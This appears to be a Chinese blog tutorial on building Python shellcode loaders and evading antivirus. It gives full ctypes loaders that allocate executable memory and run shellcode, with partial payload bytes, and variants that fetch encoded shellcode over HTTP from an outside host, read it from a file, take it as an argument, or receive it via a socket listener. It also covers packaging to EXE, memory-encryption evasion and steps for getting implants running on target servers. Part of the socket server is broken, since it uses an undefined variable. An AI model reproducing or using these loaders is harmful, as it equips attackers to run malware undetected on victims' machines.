Python的http+file+canshu
字数 902 2025-09-01 11:26:10
Python Shellcode加载与免杀技术详解
一、Python环境检测与打包工具
1.1 检测Python版本和系统位数
import struct
print(struct.calcsize("p")*8) # 输出系统位数,如64
1.2 Python打包工具
常用的Python打包工具包括:
- py2exe
- pyinstaller
- cx_freeze
安装pyinstaller:
pip install -i https://mirrors.aliyun.com/pypi/simple/ pyinstaller
二、Shellcode加载器实现
2.1 基础加载器实现
加载器1 (loader1.py)
#!/usr/bin/python
import ctypes
shellcode = b"shellcode代码"
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
加载器2 (loader2.py)
import ctypes
import sys
import base64
scbytes = b'\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41...'
# 设置函数返回类型和参数类型
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(scbytes)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buff = (ctypes.c_char * len(scbytes)).from_buffer_copy(scbytes)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),
buff,
ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(space),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
2.2 Shellcode加密与参数传递
Base64加密Shellcode (base64-shellcode.py)
import base64
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x72\x50\x48\x0f\xb7\x4a..."
sc = base64.b64encode(shellcode)
print(sc)
参数传递加载器 (canshu+loader2.py)
import ctypes
import sys
import base64
import ctypes
from loader2 import scbytes
def loader(scbytes):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(scbytes)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buff = (ctypes.c_char * len(scbytes)).from_buffer_copy(scbytes)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),
buff,
ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(space),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
if __name__=='__main__':
sc = sys.argv[1] # 从命令行参数获取Base64编码的Shellcode
scbyte = base64.b64decode(sc)
print(sc)
print(scbyte)
loader(scbyte)
使用方式:
python canshu+loader2.py "BASE64_SHELLCODE"
三、Shellcode传输方式
3.1 HTTP传输
HTTP加载器 (http+shellcode.py)
import ctypes
import sys
import base64
import ctypes
import requests
def loader(scbytes):
# 同上loader函数实现
pass
if __name__=='__main__':
sc = requests.get("http://192.168.16.109:8080/sc.txt").text # 从HTTP获取Base64编码的Shellcode
scbyte = base64.b64decode(sc)
print(sc)
print(scbyte)
loader(scbyte)
启动HTTP服务:
python3 -m http.server 8080
3.2 文件传输
文件加载器 (file-shellcode.py)
import ctypes
import sys
import base64
import ctypes
def loader(scbytes):
# 同上loader函数实现
pass
if __name__=='__main__':
with open("sc.txt","r") as f:
sc = f.read()
print(sc)
scbyte = base64.b64decode(sc)
loader(scbyte)
3.3 管道传输(Socket)
服务端代码 (socket_s1.py)
# -*- coding:utf-8 -*-
__author__ = 'xiaodi'
import socket, base64, ctypes, os
server = socket.socket()
# 执行代码
def zx(data):
scbytes = base64.b64decode(data + b'hud3DfoAQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTM5LjE0MQAXUGXq')
print(scbytes)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(scbytes)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buff = (ctypes.c_char * len(scbytes)).from_buffer_copy(scbytes)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),
buff,
ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(space),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
return scbytes
# 等待监听
server = socket.socket()
server.bind(("0.0.0.0", 9999))
server.listen(5)
while True:
conn, addr = server.accept()
print("new addr:", addr)
while True:
data = conn.recv(1024)
if not data:
print("客户端已断开")
break
print("执行指令:", data)
zx(data)
if len(cmd_res) == 0:
cmd_res = "cmd has no output...."
conn.send(str(len(cmd_res.encode())).encode()) # 发送数据长度
conn.send(cmd_res.encode("utf-8")) # 发送数据
print("send done")
server.close()
客户端代码 (socket_c1.py)
import socket
client = socket.socket()
client.connect(("192.168.139.163", 9999))
while True:
cmd = input(">>>").strip()
if len(cmd) == 0:
continue
client.send(cmd.encode("utf-8"))
cmd_res_size = client.recv(1024) # 接收命令长度
print("命令结果大小:", cmd_res_size.decode())
recevied_size = 0 # 接收数据计数器
recevied_data = b'' # 接收数据缓冲区
while recevied_size < int(cmd_res_size.decode()):
cmd_res = client.recv(1024)
recevied_size += len(cmd_res)
recevied_data += cmd_res
else:
print(recevied_data.decode("utf-8", "ignore"))
print("cmd res receive done ....", recevied_size)
client.close()
四、打包与免杀技术
4.1 打包为EXE
使用pyinstaller打包:
pyinstaller.exe -F "http+shellcode.py"
pyinstaller.exe -F file-shellcode.py
pyinstaller.exe -F "canshu+loader2.py"
pyinstaller.exe -F socket_s1.py
打包后的文件会存放在dist目录下。
4.2 免杀技术
-
Shellcode混淆与分离
- 让杀毒软件找不到特征
- 执行时解密或解码
- 分离加载器和Shellcode
-
内存加密技术
- 利用杀软间隙性扫描内存的特点
- 在CS的shellcode调用sleep休眠时将可执行内存区域加密
- 休眠结束时再将内存解密
- 规避杀软内存扫描
-
Sleep休眠突破内存扫描
- 程序空闲时让shellcode处于加密状态
- 执行时解密
五、测试与上线
-
参数传递方式
- 直接运行canshu+load2.exe并传递加密后的shellcode
-
文件传输方式
- 同目录下要有sc.txt文件,存放加密的shellcode
-
HTTP传输方式
- 需要服务器开启相应端口的网站
- 目录下放置包含shellcode的文件
-
管道传输方式
- 服务端放在目标服务器上
- 客户端连接后传输加密的shellcode
注意:卡巴斯基等杀毒软件擅长内存扫描,可能检测到这些技术。